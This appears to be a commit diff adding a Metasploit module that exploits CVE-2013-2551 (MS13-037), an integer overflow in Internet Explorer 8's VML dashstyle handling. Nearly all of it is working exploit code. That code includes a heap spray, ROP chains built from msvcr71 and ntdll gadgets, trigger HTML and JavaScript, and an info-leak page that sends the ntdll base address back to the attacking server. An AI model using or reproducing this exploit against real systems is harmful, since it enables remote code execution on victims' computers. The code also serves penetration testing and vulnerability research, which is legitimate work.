1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = NormalRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
+ include Msf ::Exploit ::RopDb
15
+ include Msf ::Exploit ::Remote ::BrowserAutopwn
16
+
17
+ autopwn_info ( {
18
+ :ua_name => HttpClients ::IE ,
19
+ :ua_minver => "8.0" ,
20
+ :ua_maxver => "8.0" ,
21
+ :javascript => true ,
22
+ :os_name => OperatingSystems ::WINDOWS ,
23
+ :rank => Rank
24
+ } )
25
+
26
+
27
+ def initialize ( info = { } )
28
+ super ( update_info ( info ,
29
+ 'Name' => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow" ,
30
+ 'Description' => %q{
31
+ This module exploits an integer overflow vulnerability on Internet Explorer.
32
+ The vulnerability exists in the handling of the dashstyle.array length for vml
33
+ shapes on the vgx.dll module. This module has been tested successfully on Windows 7
34
+ SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target
35
+ to use an info leak to disclose the ntdll.dll base address is provided. This target
36
+ requires ntdll.dll v 6.1.7601.17514 in order to work (the default dll version on a
37
+ fresh Windows 7 SP1 installation).
38
+ } ,
39
+ 'License' => MSF_LICENSE ,
40
+ 'Author' =>
41
+ [
42
+ 'Nicolas Joly' , # Vulnerability discovery, PoC and analysis
43
+ '4B5F5F4B' , # PoC
44
+ 'juan vazquez' # Metasploit module
45
+ ] ,
46
+ 'References' =>
47
+ [
48
+ [ 'CVE' , '2013-2551' ] ,
49
+ [ 'OSVDB' , '91197' ] ,
50
+ [ 'BID' , '58570' ] ,
51
+ [ 'MSB' , 'MS13-037' ] ,
52
+ [ 'URL' , 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ] ,
53
+ [ 'URL' , 'http://binvul.com/viewthread.php?tid=311' ]
54
+ ] ,
55
+ 'Payload' =>
56
+ {
57
+ 'Space' => 948 ,
58
+ 'DisableNops' => true ,
59
+ 'PrependEncoder' => "\x81 \xc4 \x54 \xf2 \xff \xff " # Stack adjustment # add esp, -3500
60
+ } ,
61
+ 'DefaultOptions' =>
62
+ {
63
+ 'InitialAutoRunScript' => 'migrate -f'
64
+ } ,
65
+ 'Platform' => 'win' ,
66
+ 'Targets' =>
67
+ [
68
+ [ 'Automatic' , { } ] ,
69
+ [ 'IE 8 on Windows 7 SP1 with JRE ROP' , # default
70
+ {
71
+ 'Rop' => :jre ,
72
+ 'Offset' => '0x5f4'
73
+ }
74
+ ] ,
75
+ [ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak' , # requires ntdll.dll v 6.1.7601.17514
76
+ {
77
+ 'Rop' => :ntdll ,
78
+ 'Offset' => '0x5f4'
79
+ }
80
+ ]
81
+ ] ,
82
+ 'Privileged' => false ,
83
+ 'DisclosureDate' => "Mar 06 2013" ,
84
+ 'DefaultTarget' => 0 ) )
85
+
86
+ register_options (
87
+ [
88
+ OptBool . new ( 'OBFUSCATE' , [ false , 'Enable JavaScript obfuscation' , false ] )
89
+ ] , self . class )
90
+
91
+ end
92
+
93
+ def exploit
94
+ @second_stage_url = rand_text_alpha ( 10 )
95
+ @leak_param = rand_text_alpha ( 5 )
96
+ super
97
+ end
98
+
99
+ def get_target ( agent )
100
+ #If the user is already specified by the user, we'll just use that
101
+ return target if target . name != 'Automatic'
102
+
103
+ nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
104
+ ie = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
105
+
106
+ ie_name = "IE #{ ie } "
107
+
108
+ case nt
109
+ when '5.1'
110
+ os_name = 'Windows XP SP3'
111
+ when '6.0'
112
+ os_name = 'Windows Vista'
113
+ when '6.1'
114
+ os_name = 'Windows 7'
115
+ end
116
+
117
+ targets . each do |t |
118
+ if ( !ie . empty? and t . name . include? ( ie_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
119
+ print_status ( "Target selected as: #{ t . name } " )
120
+ return t
121
+ end
122
+ end
123
+
124
+ return nil
125
+ end
126
+
127
+ def ie_heap_spray ( my_target , p )
128
+ js_code = Rex ::Text . to_unescape ( p , Rex ::Arch . endian ( target . arch ) )
129
+ js_nops = Rex ::Text . to_unescape ( "\x0c " *4 , Rex ::Arch . endian ( target . arch ) )
130
+
131
+ # Land the payload at 0x0c0c0c0c
132
+ # For IE 8
133
+ js = %Q|
134
+ var heap_obj = new heapLib.ie(0x20000);
135
+ var code = unescape("#{ js_code } ");
136
+ var nops = unescape("#{ js_nops } ");
137
+ while (nops.length < 0x80000) nops += nops;
138
+ var offset = nops.substring(0, #{ my_target [ 'Offset' ] } );
139
+ var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
140
+ while (shellcode.length < 0x40000) shellcode += shellcode;
141
+ var block = shellcode.substring(0, (0x80000-6)/2);
142
+ heap_obj.gc();
143
+ for (var i=1; i < 0x300; i++) {
144
+ heap_obj.alloc(block);
145
+ }
146
+ |
147
+
148
+ js = heaplib ( js , { :noobfu => true } )
149
+
150
+ if datastore [ 'OBFUSCATE' ]
151
+ js = ::Rex ::Exploitation ::JSObfu . new ( js )
152
+ js . obfuscate
153
+ end
154
+
155
+ return js
156
+ end
157
+
158
+ def get_payload ( t , cli )
159
+ code = payload . encoded
160
+ # No rop. Just return the payload.
161
+ return code if t [ 'Rop' ] . nil?
162
+
163
+ # Both ROP chains generated by mona.py - See corelan.be
164
+ case t [ 'Rop' ]
165
+ when :jre
166
+ print_status ( "Using JRE ROP" )
167
+
168
+ stack_pivot = [
169
+ 0x7c348b06 , # ret # from msvcr71
170
+ 0x7c341748 , # pop ebx # ret # from msvcr71
171
+ 0x7c348b05 # xchg eax, esp # ret from msvcr71
172
+ ] . pack ( "V*" )
173
+
174
+ rop_payload = generate_rop_payload ( 'java' , code , { 'pivot' => stack_pivot } )
175
+ when :ntdll
176
+ print_status ( "Using ntdll ROP" )
177
+ stack_pivot = [
178
+ @ntdll_base +0x0001578a , # ret # from ntdll
179
+ @ntdll_base +0x000096c9 , # pop ebx # ret # from ntdll
180
+ @ntdll_base +0x00015789 , # xchg eax, esp # ret from ntdll
181
+ ] . pack ( "V*" )
182
+ ntdll_rop = [
183
+ @ntdll_base +0x45F18 , # ntdll!ZwProtectVirtualMemory
184
+ 0x0c0c0c40 , # ret to shellcode
185
+ 0xffffffff , # ProcessHandle
186
+ 0x0c0c0c34 , # ptr to BaseAddress
187
+ 0x0c0c0c38 , # ptr to NumberOfBytesToProtect
188
+ 0x00000040 , # NewAccessProtection
189
+ 0x0c0c0c3c , # ptr to OldAccessProtection
190
+ 0x0c0c0c40 , # BaseAddress
191
+ 0x00000400 , # NumberOfBytesToProtect
192
+ 0x41414141 # OldAccessProtection
193
+ ] . pack ( "V*" )
194
+ rop_payload = stack_pivot + ntdll_rop + payload . encoded
195
+ end
196
+
197
+ return rop_payload
198
+ end
199
+
200
+ def load_exploit_html ( my_target , cli )
201
+ p = get_payload ( my_target , cli )
202
+ js = ie_heap_spray ( my_target , p )
203
+
204
+ html = %Q|
205
+ <html>
206
+ <head>
207
+ <script>
208
+ #{ js }
209
+ </script>
210
+ <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
211
+ </head>
212
+ <title>
213
+ </title>
214
+ <style>v\\ : * { behavior:url(#default#VML); display:inline-block }</style>
215
+ <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
216
+ <script>
217
+ var rect_array = new Array()
218
+ var a = new Array()
219
+
220
+ function createRects(){
221
+ for(var i=0; i<0x1000; i++){
222
+ rect_array[i] = document.createElement("v:shape")
223
+ rect_array[i].id = "rect" + i.toString()
224
+ document.body.appendChild(rect_array[i])
225
+ }
226
+ }
227
+
228
+ function exploit(){
229
+
230
+ var vml1 = document.getElementById("vml1")
231
+
232
+ for (var i=0; i<0x1000; i++){
233
+ a[i] = document.getElementById("rect" + i.toString())._anchorRect;
234
+ if (i == 0x800) {
235
+ vml1.dashstyle = "1 2 3 4"
236
+ }
237
+ }
238
+
239
+ vml1.dashstyle.array.length = 0 - 1;
240
+ vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
241
+
242
+ for (var i=0; i<0x1000; i++)
243
+ {
244
+ delete a[i];
245
+ CollectGarbage();
246
+ }
247
+ location.reload();
248
+
249
+ }
250
+ </script>
251
+ <body onload="createRects(); exploit();">
252
+ <v:oval>
253
+ <v:stroke id="vml1"/>
254
+ </v:oval>
255
+ </body>
256
+ </html>
257
+ |
258
+
259
+ return html
260
+ end
261
+
262
+ def html_info_leak
263
+ html = %Q|
264
+ <html>
265
+ <head>
266
+ <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
267
+ </head>
268
+ <title>
269
+ </title>
270
+ <style>v\\ : * { behavior:url(#default#VML); display:inline-block }</style>
271
+ <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
272
+ <script>
273
+ var rect_array = new Array()
274
+ var a = new Array()
275
+
276
+ function createRects(){
277
+ for(var i=0; i<0x400; i++){
278
+ rect_array[i] = document.createElement("v:shape")
279
+ rect_array[i].id = "rect" + i.toString()
280
+ document.body.appendChild(rect_array[i])
281
+ }
282
+ }
283
+
284
+ function exploit(){
285
+
286
+ var vml1 = document.getElementById("vml1")
287
+
288
+ for (var i=0; i<0x400; i++){
289
+ a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
290
+ }
291
+
292
+ for (var i=0; i<0x400; i++){
293
+ a[i].rotation;
294
+ if (i == 0x300) {
295
+ vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
296
+ }
297
+ }
298
+
299
+ var length_orig = vml1.dashstyle.array.length;
300
+ vml1.dashstyle.array.length = 0 - 1;
301
+
302
+ for (var i=0; i<0x400; i++)
303
+ {
304
+ a[i].marginLeft = "a";
305
+ marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
306
+ if (marginLeftAddress > 0) {
307
+ vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
308
+ var leak = a[i].marginLeft;
309
+ vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
310
+ vml1.dashstyle.array.length = length_orig;
311
+ document.location = "#{ get_resource } /#{ @second_stage_url } " + "?#{ @leak_param } =" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
312
+ return;
313
+ }
314
+ }
315
+
316
+ }
317
+ </script>
318
+ <body onload="createRects(); exploit();">
319
+ <v:oval>
320
+ <v:stroke id="vml1"/>
321
+ </v:oval>
322
+ </body>
323
+ </html>
324
+ |
325
+
326
+ return html
327
+
328
+ end
329
+
330
+ def on_request_uri ( cli , request )
331
+ agent = request . headers [ 'User-Agent' ]
332
+ uri = request . uri
333
+ print_status ( "Requesting: #{ uri } " )
334
+
335
+ my_target = get_target ( agent )
336
+ # Avoid the attack if no suitable target found
337
+ if my_target . nil?
338
+ print_error ( "Browser not supported, sending 404: #{ agent } " )
339
+ send_not_found ( cli )
340
+ return
341
+ end
342
+
343
+ if my_target [ 'Rop' ] == :ntdll and request . uri !~ /#{ @second_stage_url } /
344
+ html = html_info_leak
345
+ html = html . gsub ( /^\t \t / , '' )
346
+ print_status ( "Sending HTML to info leak..." )
347
+ send_response ( cli , html , { 'Content-Type' => 'text/html' } )
348
+ else
349
+ leak = begin
350
+ request . uri_parts [ "QueryString" ] [ @leak_param ] . to_i
351
+ rescue
352
+ 0
353
+ end
354
+ @ntdll_base = leak - 0x470B0
355
+ vprint_status ( "ntdll leak: #{ leak . to_s ( 16 ) } , ntdll base: #{ @ntdll_base . to_s ( 16 ) } " )
356
+ if ( ( leak != 0 ) && ( ( @ntdll_base & 0x1111 ) != 0 ) )
357
+ print_error ( "ntdll version not detected, sending 404: #{ agent } " )
358
+ send_not_found ( cli )
359
+ return
360
+ end
361
+ html = load_exploit_html ( my_target , cli )
362
+ html = html . gsub ( /^\t \t / , '' )
363
+ print_status ( "Sending HTML to trigger..." )
364
+ send_response ( cli , html , { 'Content-Type' => 'text/html' } )
365
+ end
366
+
367
+ end
368
+
369
+ end
0 commit comments